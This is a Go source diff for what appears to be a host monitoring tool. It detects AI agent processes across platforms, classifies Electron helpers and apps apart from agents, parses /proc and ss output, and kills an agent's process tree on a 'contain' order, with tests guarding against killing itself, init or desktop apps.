func TestMaybeContainKillsTreeAndRefusesApps(t *testing.T) {
|
||||
prevObs, prevTree, prevKill := observedAgents, processTree, killProcess
|
||||
defer func() { observedAgents, processTree, killProcess = prevObs, prevTree, prevKill }()
|
||||
|
||||
self := os.Getpid()
|
||||
observedAgents = func() ([]agentObs, error) {
|
||||
return []agentObs{
|
||||
{PID: 101, Kind: kindAgent, Signature: "claude-code"},
|
||||
{PID: 4532, Kind: kindApp, Signature: "claude-desktop"},
|
||||
{PID: 202, Kind: kindClient, Signature: "llm-client"},
|
||||
}, nil
|
||||
}
|
||||
processTree = func() map[int]int {
|
||||
return map[int]int{
|
||||
102: 101, 103: 102, // the agent's shell and its child
|
||||
104: 101, // our own local agent, launched under the agent's shell
|
||||
4533: 4532, // the app's helper
|
||||
self: 101, // a corrupt map naming us as the agent's child
|
||||
1: 101, // ...and init
|
||||
}
|
||||
}
|
||||
faTrackPID(104)
|
||||
defer faUntrackPID(104)
|
||||
killed := []int{}
|
||||
killProcess = func(pid int) error { killed = append(killed, pid); return nil }
|
||||
|
||||
maybeContain("", "", []byte(`{"contain":[101, 4532, 202, 303]}`))
|
||||
sort.Ints(killed)
|
||||
want := []int{101, 102, 103, 202}
|
||||
if len(killed) != len(want) {
|
||||
t.Fatalf("killed %v, want %v", killed, want)
|
||||
}
|
||||
for i := range want {
|
||||
if killed[i] != want[i] {
|
||||
t.Fatalf("killed %v, want %v", killed, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,170 @@
|
||||
//go:build linux
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"os/user"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Linux enumeration for the observe plane: /proc for processes and their
|
||||
// environment, `ss` for established connections (it does the inode->pid
|
||||
// mapping we would otherwise have to rebuild by hand).
|
||||
//
|
||||
// This is the original implementation, moved out of agents.go unchanged in
|
||||
// behaviour when the plane grew macOS and Windows siblings.
|
||||
|
||||
const (
|
||||
agentScanSupported = true
|
||||
agentScanKind = "proc+ss"
|
||||
)
|
||||
|
||||
// scanProcesses walks /proc and returns the agent processes (process signal),
|
||||
// keyed by pid. An error is a walk that did not happen — not an empty box —
|
||||
// and the heartbeat withholds `agents` for it rather than send a list nothing
|
||||
// measured.
|
||||
//
|
||||
// procRoot is "/proc"; a test points it at a directory that is not there to
|
||||
// prove this enumerator's own failure path returns an error, not an empty map.
|
||||
var procRoot = "/proc"
|
||||
|
||||
func scanProcesses() (map[int]agentObs, error) {
|
||||
out := map[int]agentObs{}
|
||||
entries, err := os.ReadDir(procRoot)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read %s: %w", procRoot, err)
|
||||
}
|
||||
self := os.Getpid()
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
pid, err := strconv.Atoi(e.Name())
|
||||
if err != nil || pid == self {
|
||||
continue
|
||||
}
|
||||
raw, err := os.ReadFile("/proc/" + e.Name() + "/cmdline")
|
||||
if err != nil || len(raw) == 0 {
|
||||
continue
|
||||
}
|
||||
argv := splitNul(raw)
|
||||
sig, auto, ok := matchSignature(argv)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
full := strings.Join(argv, " ")
|
||||
out[pid] = agentObs{PID: pid, User: procUser(pid), Signature: sig,
|
||||
Cmdline: truncate(full, 200), Exe: procExe(pid),
|
||||
DelegationToken: procEnvToken(pid), raw: full, automation: auto}
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// procParent reads one process's parent pid from /proc/<pid>/stat.
|
||||
func procParent(pid int) int {
|
||||
raw, err := os.ReadFile("/proc/" + strconv.Itoa(pid) + "/stat")
|
||||
if err != nil {
|
||||
return 0
|
||||
}
|
||||
return parseProcStatPPID(string(raw))
|
||||
}
|
||||
|
||||
// processParents is the whole pid -> parent map, one /proc walk. Contain uses
|
||||
// it to take an agent's descendants along with it.
|
||||
func processParents() map[int]int {
|
||||
out := map[int]int{}
|
||||
entries, err := os.ReadDir("/proc")
|
||||
if err != nil {
|
||||
return out
|
||||
}
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
pid, err := strconv.Atoi(e.Name())
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if pp := procParent(pid); pp > 0 {
|
||||
out[pid] = pp
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// scanConnections returns established outbound TCP with the owning pid, via `ss`
|
||||
// (it does the inode->pid mapping). Best-effort: if ss is absent it returns
|
||||
// empty and the process signal still stands.
|
||||
func scanConnections() []connObs {
|
||||
data, err := exec.Command("ss", "-tnpH", "state", "established").Output()
|
||||
if err != nil {
|
||||
return []connObs{}
|
||||
}
|
||||
return parseSSOutput(string(data), os.Getpid())
|
||||
}
|
||||
|
||||
func procUser(pid int) string {
|
||||
raw, err := os.ReadFile("/proc/" + strconv.Itoa(pid) + "/status")
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
for _, line := range strings.Split(string(raw), "\n") {
|
||||
if strings.HasPrefix(line, "Uid:") {
|
||||
f := strings.Fields(line)
|
||||
if len(f) >= 2 {
|
||||
if u, err := user.LookupId(f[1]); err == nil {
|
||||
return u.Username
|
||||
}
|
||||
return f[1]
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func procCmdline(pid int) string {
|
||||
raw, err := os.ReadFile("/proc/" + strconv.Itoa(pid) + "/cmdline")
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return truncate(strings.Join(splitNul(raw), " "), 200)
|
||||
}
|
||||
|
||||
// procExe is the KERNEL's record of which file this process runs:
|
||||
// /proc/<pid>/exe, a link the kernel maintains from the vnode and the process
|
||||
// cannot rewrite. The strongest of the three platforms — it is RESOLVED, so a
|
||||
// symlinked launcher reports its target (measured here: a `#!/bin/bash` script
|
||||
// reported /usr/bin/bash, not the /bin/bash its own argv[0] said).
|
||||
//
|
||||
// Unreadable yields "" — another user's process without the capability, a
|
||||
// hardened kernel — the same conservative outcome as procEnvToken above, and
|
||||
// sanction.go refuses to mark an observation with no path rather than falling
|
||||
// back to the command line.
|
||||
func procExe(pid int) string {
|
||||
exe, err := os.Readlink("/proc/" + strconv.Itoa(pid) + "/exe")
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return sanitizeExePath(exe)
|
||||
}
|
||||
|
||||
// procEnvToken reads the host-issued delegation tag (PRIVATAE_AGENT_TOKEN, or
|
||||
// its older name; see agentTokenEnvNames) from an agent's env, if set.
|
||||
// Unreadable (another user's process, hardened kernel) yields "" — the same
|
||||
// conservative outcome as an agent that genuinely carries no tag.
|
||||
func procEnvToken(pid int) string {
|
||||
raw, err := os.ReadFile("/proc/" + strconv.Itoa(pid) + "/environ")
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
for _, name := range agentTokenEnvNames {
|
||||
if tok := parseEnvToken(raw, name); tok != "" {
|
||||
return tok
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
//go:build linux
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"path/filepath"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// The REAL enumerator's failure path, not the seam above it: an unreadable
|
||||
// /proc must come back as an error. The bug this plane had was an empty map
|
||||
// with a nil error here, which the heartbeat sent as "looked, nothing there"
|
||||
// and the host read as a kill order carried out. scanProcessesFn is stubbed
|
||||
// by every other test, so without this one the guard stops at the seam.
|
||||
func TestTheLinuxWalkFailsLoudlyWhenProcIsUnreadable(t *testing.T) {
|
||||
prev := procRoot
|
||||
t.Cleanup(func() { procRoot = prev })
|
||||
procRoot = filepath.Join(t.TempDir(), "no-proc-here")
|
||||
m, err := scanProcesses()
|
||||
if err == nil {
|
||||
t.Fatalf("an unreadable %s returned %d processes and no error — an empty map with a nil error is the bug", procRoot, len(m))
|
||||
}
|
||||
if m != nil {
|
||||
t.Fatalf("a failed walk must return no map, got %v", m)
|
||||
}
|
||||
procRoot = prev
|
||||
if _, err := scanProcesses(); err != nil {
|
||||
t.Fatalf("the real /proc walk failed on this box: %v", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
//go:build !linux && !darwin && !windows
|
||||
|
||||
package main
|
||||
|
||||
import "errors"
|
||||
|
||||
// Observe-plane stub for platforms with no enumerator. The bastion still runs
|
||||
// — tunnel, grants, DCN, every lane — it simply reports that it cannot watch
|
||||
// itself, rather than reporting an empty agent list that would be read as
|
||||
// "nothing running here". agentScanSupported is what keeps those two apart:
|
||||
// the heartbeat withholds the "agent-observe" capability, so the host can say
|
||||
// "this box is not watching" instead of "this box is quiet".
|
||||
|
||||
const (
|
||||
agentScanSupported = false
|
||||
agentScanKind = "unsupported"
|
||||
)
|
||||
|
||||
// errNoEnumerator: the walk cannot happen here, so scanAgents fails and the
|
||||
// heartbeat carries no `agents` key at all — the same absence a scan failure
|
||||
// produces elsewhere, and the host reads both as "did not look".
|
||||
var errNoEnumerator = errors.New("no process enumerator on this platform")
|
||||
|
||||
func scanProcesses() (map[int]agentObs, error) { return nil, errNoEnumerator }
|
||||
func scanConnections() []connObs { return []connObs{} }
|
||||
func procUser(pid int) string { return "" }
|
||||
func procCmdline(pid int) string { return "" }
|
||||
func procEnvToken(pid int) string { return "" }
|
||||
|
||||
// procExe: no enumerator, so no kernel path — and an empty one is honest here
|
||||
// in a way a guess never could be. sanction.go refuses to mark an observation
|
||||
// that has none, which on this build means nothing can be marked at all; that
|
||||
// is the same "cannot watch itself" answer agentScanSupported already gives.
|
||||
func procExe(pid int) string { return "" }
|
||||
func procParent(pid int) int { return 0 }
|
||||
func processParents() map[int]int { return map[int]int{} }
|
||||
@@ -0,0 +1,862 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"net"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Pure parsers and classifiers for the observe plane — NO build tag, on
|
||||
// purpose. Every platform's enumeration output is decoded here, so the Linux
|
||||
// box that runs the tests exercises the macOS and Windows paths too. The
|
||||
// platform files (agents_<goos>.go) are left holding only the calls that
|
||||
// genuinely cannot run anywhere else: reading /proc, spawning ps/lsof/ss, and
|
||||
// the Win32 syscalls. Those are a handful of lines each; everything with a
|
||||
// decision or an offset in it lives in this file, under test.
|
||||
|
||||
// binBase is filepath.Base for BOTH separator conventions, lowercased, with a
|
||||
// ".exe" suffix dropped. Deliberately not filepath.Base: that function follows
|
||||
// the separator of the machine it RUNS on, so a Windows argv would keep its
|
||||
// whole path when the same rule is exercised from a Linux test run.
|
||||
func binBase(s string) string {
|
||||
s = strings.ToLower(strings.TrimSpace(s))
|
||||
if i := strings.LastIndexAny(s, `/\`); i >= 0 {
|
||||
s = s[i+1:]
|
||||
}
|
||||
return strings.TrimSuffix(s, ".exe")
|
||||
}
|
||||
|
||||
// matchAgentSignature: argv[0] basename exact-match, OR (only for an interpreter) a distinctive
|
||||
// script-path substring. The interpreter gate kills the "merely mentions the marker" false positive.
|
||||
func matchAgentSignature(argv []string) (string, bool) {
|
||||
sig, auto, ok := matchSignature(argv)
|
||||
if !ok || auto {
|
||||
return "", false
|
||||
}
|
||||
return sig, true
|
||||
}
|
||||
|
||||
// matchSignature is matchAgentSignature over BOTH tables: the agent tables
|
||||
// first (an agent that also drives a browser is an agent), then the
|
||||
// automation tables. `automation` reports which table answered.
|
||||
func matchSignature(argv []string) (sig string, automation bool, ok bool) {
|
||||
if len(argv) == 0 {
|
||||
return "", false, false
|
||||
}
|
||||
base := binBase(argv[0])
|
||||
if sig, ok := agentBinaries[base]; ok {
|
||||
return sig, false, true
|
||||
}
|
||||
if sig, ok := automationBinaries[base]; ok {
|
||||
return sig, true, true
|
||||
}
|
||||
if interpreters[base] {
|
||||
full := strings.ToLower(strings.Join(argv, " "))
|
||||
for _, s := range agentSubstrings {
|
||||
if strings.Contains(full, s.Sub) {
|
||||
return s.Sig, false, true
|
||||
}
|
||||
}
|
||||
for _, s := range automationSubstrings {
|
||||
if strings.Contains(full, s.Sub) {
|
||||
return s.Sig, true, true
|
||||
}
|
||||
}
|
||||
}
|
||||
return "", false, false
|
||||
}
|
||||
|
||||
// ── Kind: agent, app, or client ─────────────────────────────────────────────
|
||||
//
|
||||
// The signature tables answer "which product is this binary". They cannot
|
||||
// answer "is this an agent", because the same binary name serves two products:
|
||||
// `claude.exe` is Claude Code (an agent) AND the Claude desktop app (a chat
|
||||
// window). The desktop app is Electron, and Electron — like every Chromium
|
||||
// host — runs its renderer, GPU, network and utility work in child processes
|
||||
// launched from the SAME executable with a `--type=<role>` flag. One open app
|
||||
// therefore matched the agent table nine times, and eight of those were not
|
||||
// even the app: they were its helpers.
|
||||
//
|
||||
// Two rules, both measured on the box that produced the false alarm:
|
||||
//
|
||||
// helper — a `--type=` process WHOSE PARENT RUNS THE SAME PROGRAM (same
|
||||
// executable, or the same .app bundle on macOS). The flag alone
|
||||
// is not enough: an agent whose prompt text mentions "--type=json"
|
||||
// must stay an agent, and "add --type=x to your argv" must never be
|
||||
// a way to vanish from the report. A helper is dropped and its
|
||||
// parent remembered.
|
||||
// app — a matched process that owns helpers, or whose EXECUTABLE lives
|
||||
// inside a macOS .app bundle, is an APP: the user is running it. It
|
||||
// stays visible (what it talks to matters) but it is not an agent.
|
||||
//
|
||||
// Everything else the tables matched is an agent. A process caught by the
|
||||
// network signal alone is a client — unless the socket belongs to a helper,
|
||||
// in which case the APP that owns the helper is what talks to the model.
|
||||
|
||||
const (
|
||||
kindAgent = "agent"
|
||||
kindApp = "app"
|
||||
kindClient = "client"
|
||||
// automation: drives the machine with no model of its own —
|
||||
// a browser driver, an input injector, an RPA runtime. Inventory, never
|
||||
// an alert. Model traffic promotes it to an agent (mergeConnections).
|
||||
kindAutomation = "automation"
|
||||
)
|
||||
|
||||
// appSignatures renames a product signature when the process turns out to be
|
||||
// the interactive app rather than the agent, so the host never says
|
||||
// "claude-code" about a chat window. Unlisted products keep their name with an
|
||||
// "-app" suffix.
|
||||
var appSignatures = map[string]string{
|
||||
"claude-code": "claude-desktop",
|
||||
}
|
||||
|
||||
func appSignature(sig string) string {
|
||||
if s, ok := appSignatures[sig]; ok {
|
||||
return s
|
||||
}
|
||||
return sig + "-app"
|
||||
}
|
||||
|
||||
// argv0 is the program a command line starts with: the first token, honouring
|
||||
// a quoted Windows path ("C:\Program Files\...\claude.exe" --type=renderer).
|
||||
func argv0(cmdline string) string {
|
||||
s := strings.TrimSpace(cmdline)
|
||||
if s == "" {
|
||||
return ""
|
||||
}
|
||||
if s[0] == '"' || s[0] == '\'' {
|
||||
if end := strings.IndexByte(s[1:], s[0]); end >= 0 {
|
||||
return s[1 : end+1]
|
||||
}
|
||||
return s[1:]
|
||||
}
|
||||
if i := strings.IndexByte(s, ' '); i >= 0 {
|
||||
return s[:i]
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// ── the kernel's executable path ────────────────────────────────────────────
|
||||
//
|
||||
// Every platform answers procExe() through sanitizeExePath, so ONE rule decides
|
||||
// what counts as an executable path and it is tested from any OS.
|
||||
//
|
||||
// ABSOLUTE OR EMPTY. A relative path ("claude", "./bin/claude") names a file
|
||||
// only against a working directory nobody recorded, so it is not an identity —
|
||||
// two processes started from different directories would share it. macOS is
|
||||
// where this actually bites: the kernel saves the path as it was PASSED to
|
||||
// execve (xnu bsd/kern/kern_exec.c exec_save_path, which copyinstr's the
|
||||
// caller's string before namei resolves it), so a relative exec produces a
|
||||
// relative saved path. Linux (readlink /proc/pid/exe) and Windows
|
||||
// (QueryFullProcessImageName) always answer absolute.
|
||||
//
|
||||
// Dropping it yields "" — an observation that cannot be marked as yours — which
|
||||
// is the safe direction: a mark that names nothing checkable is worse than no
|
||||
// mark (sanction.go, agentSanction).
|
||||
func sanitizeExePath(s string) string {
|
||||
s = strings.TrimSpace(s)
|
||||
// Linux appends " (deleted)" once the file has been unlinked — measured on
|
||||
// this box: a running binary read "/tmp/x/sleepy" before `rm` and
|
||||
// "/tmp/x/sleepy (deleted)" after. STRIPPED, exactly as origin_linux.go:85
|
||||
// already does, because the alternative silently un-marks a running agent
|
||||
// the moment its package updates in place, and a mark the user has to
|
||||
// re-apply after every update is a control they stop using (sanction.go,
|
||||
// STORAGE). It concedes nothing an attacker did not already have: writing a
|
||||
// file called "claude (deleted)" into that directory needs the same write
|
||||
// access as overwriting `claude` itself.
|
||||
s = strings.TrimSuffix(s, " (deleted)")
|
||||
if !isAbsExePath(s) {
|
||||
return ""
|
||||
}
|
||||
// REFUSED, NEVER TRUNCATED, past a bound no real path reaches. Truncation is
|
||||
// not available to this function whatever the length: two different
|
||||
// executables under one long directory would cut down to the SAME string and
|
||||
// therefore to the same identity, which is a collision in the one field that
|
||||
// is supposed to tell programs apart. So an absurd path becomes "" —
|
||||
// unmarkable, the safe direction — and this field cannot be used to inflate
|
||||
// the heartbeat it travels on (agents.go, agentObs.Exe).
|
||||
//
|
||||
// 4096 is Linux's PATH_MAX, the largest of the three kernels' own limits
|
||||
// (macOS is 1024; Windows' extended form goes further but nothing a person
|
||||
// installs lives out there). It admits every real path and bounds the field.
|
||||
if len(s) > 4096 {
|
||||
return ""
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// isAbsExePath answers for BOTH path conventions, deliberately not
|
||||
// filepath.IsAbs: that function follows the separator of the machine it RUNS
|
||||
// on, so a Windows path would read as relative under the Linux test run that
|
||||
// exercises this file — the same trap binBase() (agents_parse.go:18-21) is
|
||||
// written to avoid.
|
||||
func isAbsExePath(s string) bool {
|
||||
switch {
|
||||
case s == "":
|
||||
return false
|
||||
case s[0] == '/':
|
||||
return true // POSIX, and the \Device\... form never reaches here
|
||||
case strings.HasPrefix(s, `\\`):
|
||||
return true // UNC: \\server\share\thing.exe
|
||||
case len(s) >= 3 && s[1] == ':' && (s[2] == '\\' || s[2] == '/') &&
|
||||
((s[0] >= 'A' && s[0] <= 'Z') || (s[0] >= 'a' && s[0] <= 'z')):
|
||||
return true // C:\thing.exe
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// parseProcargs2ExePath pulls the kernel's saved executable path out of a macOS
|
||||
// KERN_PROCARGS2 blob. Lives here, with a fixture, because it is a byte layout
|
||||
// and the Linux box that runs the tests must exercise it (this file's header).
|
||||
//
|
||||
// The layout, from Apple's own two sources rather than from a blog: the kernel
|
||||
// writes argc as the first word and the executable path as the first string
|
||||
// after it (xnu bsd/kern/kern_sysctl.c sysctl_procargsx, which stores the path
|
||||
// prefixed with "executable_path=" and strips that prefix back off on the way
|
||||
// out), and Apple's ps walks the same blob by SKIPPING that string to reach
|
||||
// argv[0] — "/* Skip the saved exec_path. */" in adv_cmds ps/print.c,
|
||||
// getproclline. Only that prefix is decoded here; argv and the environment
|
||||
// follow and are none of this function's business.
|
||||
//
|
||||
// WHY THE PATH AND NOT `ps -o comm=`: because comm on macOS is argv[0]. The
|
||||
// same getproclline is what backs the `comm` keyword (ps/keyword.c maps it to
|
||||
// just_command), so it reports the string the launcher chose, which is the
|
||||
// exact value this whole change exists to stop trusting. origin_darwin.go's
|
||||
// header and origin.go's procFacts.Exe both used to say the opposite;
|
||||
// both now say what it is.
|
||||
func parseProcargs2ExePath(buf []byte) string {
|
||||
if len(buf) < 5 {
|
||||
return ""
|
||||
}
|
||||
// argc rides in the first word, native endian — and both machines macOS
|
||||
// runs on (amd64, arm64) are little-endian.
|
||||
if argc := int32(binary.LittleEndian.Uint32(buf[:4])); argc < 0 {
|
||||
return "" // not a blob this function understands; never guess past it
|
||||
}
|
||||
rest := buf[4:]
|
||||
end := 0
|
||||
for end < len(rest) && rest[end] != 0 {
|
||||
end++
|
||||
}
|
||||
if end == len(rest) {
|
||||
return "" // no terminator inside the buffer: a truncated read, not a path
|
||||
}
|
||||
return sanitizeExePath(string(rest[:end]))
|
||||
}
|
||||
|
||||
// bundleRoot is the OUTERMOST macOS .app a path sits in, lowercased, or "".
|
||||
// "Google Chrome Helper.app" lives inside "Google Chrome.app/Contents/..."; the
|
||||
// outermost bundle is what makes a helper and its app the same program.
|
||||
func bundleRoot(path string) string {
|
||||
p := strings.ToLower(path)
|
||||
i := strings.Index(p, ".app/")
|
||||
if i < 0 {
|
||||
return ""
|
||||
}
|
||||
return p[:i+5]
|
||||
}
|
||||
|
||||
// isAppBundle: the EXECUTABLE (argv[0], never an argument) lives inside a
|
||||
// macOS application bundle.
|
||||
func isAppBundle(cmdline string) bool {
|
||||
return bundleRoot(argv0(cmdline)) != ""
|
||||
}
|
||||
|
||||
// hasTypeFlag: the raw Chromium marker. Necessary for a helper, never
|
||||
// sufficient — see isGUIHelper.
|
||||
func hasTypeFlag(cmdline string) bool {
|
||||
return strings.Contains(strings.ToLower(cmdline), " --type=")
|
||||
}
|
||||
|
||||
// sameProgram: child and parent run the same executable, or live in the same
|
||||
// .app bundle. This is what makes a `--type=` process a helper rather than an
|
||||
// agent that happens to mention the flag.
|
||||
func sameProgram(childCmd, parentCmd string) bool {
|
||||
c, p := argv0(childCmd), argv0(parentCmd)
|
||||
if c == "" || p == "" {
|
||||
return false
|
||||
}
|
||||
if binBase(c) == binBase(p) {
|
||||
return true
|
||||
}
|
||||
if r := bundleRoot(c); r != "" && r == bundleRoot(p) {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// isGUIHelper: a `--type=` process whose parent runs the same program.
|
||||
func isGUIHelper(cmdline, parentCmdline string) bool {
|
||||
return hasTypeFlag(cmdline) && sameProgram(cmdline, parentCmdline)
|
||||
}
|
||||
|
||||
// maxHelperHops bounds the walk from a helper up to its app. Chromium nests
|
||||
// at most a few levels (browser → zygote → renderer); a chain longer than
|
||||
// this is a corrupt parent map, and the walk stops rather than loops.
|
||||
const maxHelperHops = 8
|
||||
|
||||
// classifyObservations applies the kind rules to a process snapshot IN PLACE:
|
||||
// helpers are removed, every survivor gets a kind and a parent, and an app's
|
||||
// signature is renamed. Returns helper pid -> the app pid that owns it, so the
|
||||
// caller can re-attribute the helpers' connections.
|
||||
//
|
||||
// A helper's parent must itself be in the snapshot: helpers run the same
|
||||
// executable as their app, so if the app matched the tables, so did they, and
|
||||
// if the parent is NOT a candidate the child is not its helper (an agent under
|
||||
// a shell). A helper whose parent cannot be read is kept as an agent — reported
|
||||
// rather than silently dropped, and never pinned to pid 0.
|
||||
func classifyObservations(byPid map[int]agentObs, parent func(int) int) map[int]int {
|
||||
cmdOf := func(a agentObs) string {
|
||||
if a.raw != "" {
|
||||
return a.raw
|
||||
}
|
||||
return a.Cmdline
|
||||
}
|
||||
helper := map[int]bool{}
|
||||
for pid, a := range byPid {
|
||||
pp := parent(pid)
|
||||
if pp <= 1 {
|
||||
continue
|
||||
}
|
||||
pa, ok := byPid[pp]
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
if isGUIHelper(cmdOf(a), cmdOf(pa)) {
|
||||
helper[pid] = true
|
||||
}
|
||||
}
|
||||
helperRoot := map[int]int{}
|
||||
for pid := range helper {
|
||||
root := parent(pid)
|
||||
for hops := 0; helper[root] && hops < maxHelperHops; hops++ {
|
||||
root = parent(root) // the zygote pattern: a helper spawned by a helper
|
||||
}
|
||||
if root <= 1 || helper[root] {
|
||||
continue // unresolvable: leave it reported as what it matched
|
||||
}
|
||||
if _, ok := byPid[root]; !ok {
|
||||
continue
|
||||
}
|
||||
helperRoot[pid] = root
|
||||
delete(byPid, pid)
|
||||
}
|
||||
ownsHelpers := map[int]bool{}
|
||||
for _, root := range helperRoot {
|
||||
ownsHelpers[root] = true
|
||||
}
|
||||
for pid, a := range byPid {
|
||||
a.PPID = parent(pid)
|
||||
if ownsHelpers[pid] || isAppBundle(cmdOf(a)) {
|
||||
a.Kind = kindApp
|
||||
a.Signature = appSignature(a.Signature)
|
||||
} else if a.automation {
|
||||
a.Kind = kindAutomation
|
||||
} else {
|
||||
a.Kind = kindAgent
|
||||
}
|
||||
byPid[pid] = a
|
||||
}
|
||||
return helperRoot
|
||||
}
|
||||
|
||||
// descendantsOf walks a pid -> parent map and returns every process below
|
||||
// root (children, grandchildren, ...), root excluded. Contain uses it so an
|
||||
// agent's shells and sub-processes go with it instead of being orphaned. A
|
||||
// cycle in a corrupt map terminates because each pid is visited once.
|
||||
func descendantsOf(parents map[int]int, root int) []int {
|
||||
children := map[int][]int{}
|
||||
for pid, pp := range parents {
|
||||
if pp > 0 && pid != pp {
|
||||
children[pp] = append(children[pp], pid)
|
||||
}
|
||||
}
|
||||
seen := map[int]bool{root: true}
|
||||
out := []int{}
|
||||
queue := []int{root}
|
||||
for len(queue) > 0 {
|
||||
cur := queue[0]
|
||||
queue = queue[1:]
|
||||
for _, c := range children[cur] {
|
||||
if seen[c] {
|
||||
continue
|
||||
}
|
||||
seen[c] = true
|
||||
out = append(out, c)
|
||||
queue = append(queue, c)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// parseProcStatPPID pulls the parent pid out of /proc/<pid>/stat. The comm
|
||||
// field is parenthesised and may itself contain spaces or parens, so the
|
||||
// fields are counted from the LAST ')' — state is next, then ppid.
|
||||
func parseProcStatPPID(stat string) int {
|
||||
i := strings.LastIndex(stat, ")")
|
||||
if i < 0 {
|
||||
return 0
|
||||
}
|
||||
f := strings.Fields(stat[i+1:])
|
||||
if len(f) < 2 {
|
||||
return 0
|
||||
}
|
||||
n, err := strconv.Atoi(f[1])
|
||||
if err != nil || n < 0 {
|
||||
return 0
|
||||
}
|
||||
return n
|
||||
}
|
||||
|
||||
// parseProcStatStartTicks pulls the process start time out of /proc/<pid>/stat.
|
||||
// Same technique as parseProcStatPPID and for the same reason — the comm field
|
||||
// is parenthesised and may itself contain spaces or parens, so the fields are
|
||||
// counted from the LAST ')'.
|
||||
//
|
||||
// starttime is field 22 of the whole line; the first field after ')' is field 3,
|
||||
// so it sits at index 19 of that slice. It counts clock ticks since boot, which
|
||||
// is what the delta's short-lived rule turns into an age (delta_linux.go).
|
||||
//
|
||||
// Here rather than in the Linux file, with no build tag, for the reason the top
|
||||
// of this file gives: one `go test` on any OS covers the byte layout, and a
|
||||
// parser only a Linux box can run is a parser only a Linux box checks.
|
||||
func parseProcStatStartTicks(stat string) (uint64, bool) {
|
||||
i := strings.LastIndex(stat, ")")
|
||||
if i < 0 {
|
||||
return 0, false
|
||||
}
|
||||
f := strings.Fields(stat[i+1:])
|
||||
if len(f) < 20 {
|
||||
return 0, false
|
||||
}
|
||||
n, err := strconv.ParseUint(f[19], 10, 64)
|
||||
if err != nil {
|
||||
return 0, false
|
||||
}
|
||||
return n, true
|
||||
}
|
||||
|
||||
// splitHostPortLoose parses the "address:port" forms the platform enumerators
|
||||
// hand back — `1.2.3.4:443`, `[fd00::1]:443`, `[::1]:11434` — into a bare IP
|
||||
// and a numeric port. Brackets are stripped so a v6 literal compares equal to
|
||||
// the same address from a DNS lookup.
|
||||
func splitHostPortLoose(s string) (string, int, bool) {
|
||||
s = strings.TrimSpace(s)
|
||||
if s == "" {
|
||||
return "", 0, false
|
||||
}
|
||||
host, port, err := net.SplitHostPort(s)
|
||||
if err != nil {
|
||||
i := strings.LastIndex(s, ":")
|
||||
if i < 0 {
|
||||
return "", 0, false
|
||||
}
|
||||
host, port = s[:i], s[i+1:]
|
||||
}
|
||||
host = strings.Trim(host, "[]")
|
||||
n, err := strconv.Atoi(port)
|
||||
if err != nil || n <= 0 || n > 65535 || host == "" {
|
||||
return "", 0, false
|
||||
}
|
||||
return host, n, true
|
||||
}
|
||||
|
||||
// portOfAddr pulls the port out of a "host:port" env value (OLLAMA_ADDR,
|
||||
// PRIVATAE_LLM_ADDR). A bare host, a bare port, or junk yields 0 — never a guess.
|
||||
func portOfAddr(addr string) int {
|
||||
addr = strings.TrimSpace(addr)
|
||||
if addr == "" {
|
||||
return 0
|
||||
}
|
||||
addr = strings.TrimPrefix(strings.TrimPrefix(addr, "http://"), "https://")
|
||||
if i := strings.IndexAny(addr, "/?"); i >= 0 {
|
||||
addr = addr[:i]
|
||||
}
|
||||
_, p, err := net.SplitHostPort(addr)
|
||||
if err != nil {
|
||||
return 0
|
||||
}
|
||||
n, err := strconv.Atoi(p)
|
||||
if err != nil || n <= 0 || n > 65535 {
|
||||
return 0
|
||||
}
|
||||
return n
|
||||
}
|
||||
|
||||
// isLocalScope reports whether an address is on the user's own side of the
|
||||
// internet: loopback, RFC1918 / ULA, link-local, or CGNAT (100.64/10, which the
|
||||
// mesh itself uses and net.IP.IsPrivate does not cover).
|
||||
func isLocalScope(addr string) bool {
|
||||
ip := net.ParseIP(addr)
|
||||
if ip == nil {
|
||||
return false
|
||||
}
|
||||
if ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() {
|
||||
return true
|
||||
}
|
||||
if v4 := ip.To4(); v4 != nil && v4[0] == 100 && v4[1] >= 64 && v4[1] <= 127 {
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// classifyConn names the inference endpoint a connection is talking to, and
|
||||
// says whether that alone is enough to call an unknown process an agent.
|
||||
// Returns ("", false) when the connection is not inference traffic.
|
||||
//
|
||||
// The label carries two INDEPENDENT facts, so neither one overstates:
|
||||
//
|
||||
// prefix address class — "local:" only when the peer really is on the
|
||||
// user's own side (loopback/LAN/mesh). A model served from a public
|
||||
// address is still self-hosted inference, but calling it "local"
|
||||
// reads as a lie, so it is named by its address instead.
|
||||
// suffix port confidence — a trailing "?" marks an ambiguous port that only
|
||||
// corroborates and never promotes an unknown process.
|
||||
